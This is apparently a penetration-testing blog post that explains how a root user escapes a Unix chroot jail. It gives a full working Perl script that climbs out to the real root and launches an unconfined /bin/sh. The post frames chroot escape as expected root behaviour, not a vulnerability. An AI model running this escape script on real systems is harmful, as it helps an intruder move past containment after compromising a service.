I had cause to want to break out of a chroot'd environment
recently. It is well known that if you're root within the chroot
environment you can break out of it.
I set about learning how to break out of chroot and came across an excellent description by Simes from 2002. It contains a well documented C program that breaks out of the chroot environment.
I
wanted to use PERL to break out of the environment, as few chroot
environments will contain a C compiler and you may not always be in a
position to compile the above program for the OS and Architecture of
your jail.
Recap: What is Chroot?
According to wikipedia:
A
chroot on Unix operating systems is an operation that changes the
apparent disk root directory for the current running process and its
children. A program that is re-rooted to another directory cannot
access or name files outside that directory, called a chroot jail.
You're
likely to come across chroot environments when testing web servers or
FTP servers. Such services are exposed and therefore could be
compromised. If you comrpomise a chroot'd HTTP or FTP daemon you will
only gain access to the limited chroot environment. You will not be to
access the real /etc/passwd for example. You would only be able to
access /some-path-you-dont-even-know-about/etc/passwd. Your process is
trapped inside a directory structure that you can't break out of.
...unless
you're root. If you escalate your privileges to root within the jail,
it is possible to get out. Your only obstacle is finding a way to make
the "chroot" system call with the tools available to you inside the
chroot jail - or uploading your own tools. Your options include:
- Compiling a program such as this on the target host - but you probably don't have a C compiler in the chroot jail.
- Uploading a precompiled chroot-escaper - if you have one for the target OS/architecture.
- Using an installed scripting language (PERL, PHP, Python) - if there's one installed
Overview of Breaking out of Chroot
The C program referenced about uses this technique:
- Open a file handle to the root of the jail
- Create
a sub directory in the jail and chroot yourself there (you are root, so
you are allowed to chroot). You're now even deeper in the jail.
- Change
directory using the file handle to the root of the old jail. You're
now outside of the chroot jail you created in the sub directory.
You're free! Well, kind of. Actually all locations starting with '/'
are still mapped to that sub directory. You don't want this.
- cd ..; cd ..; ...until you reach the real root.
- Chroot yourself in the real root. Now you're properly free.
The PERL Script
Here's a simple PERL implementation. It seems to work on Linux:
#!/usr/bin/perl -w
use strict;
# unchroot.pl Dec 2007
# http://pentestmonkey.net/blog/chroot-breakout-perl
# This script may be used for legal purposes only.
# Go to the root of the jail
chdir "/";
# Open filehandle to root of jail
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jail\n";
# Create a subdir, move into it
mkdir "mysubdir";
chdir "mysubdir";
# Lock ourselves in a new jail
chroot ".";
# Use our filehandle to get back to the root of the old jail
chdir(*JAILROOT);
# Get to the real root
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
chdir "..";
}
# Lock ourselves in real root - so we're not really in a jail at all now
chroot ".";
# Start an un-jailed shell
system("/bin/sh");
So is this a Vulnerability?
To
be clear, this is NOT a vulnerability. The root user is supposed to be
able to change the root directory for the current process and for child
processes. Chroot only jails non-root processes. Wikipedia clearly
summarises the limitations of chroot.
Feedback
Thanks to timb for the suggestion to change this:
foreach my $count (1..100) {
chdir "..";
}
To this (which checks if '.' and '..' are the same thing):
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
chdir "..";
}
|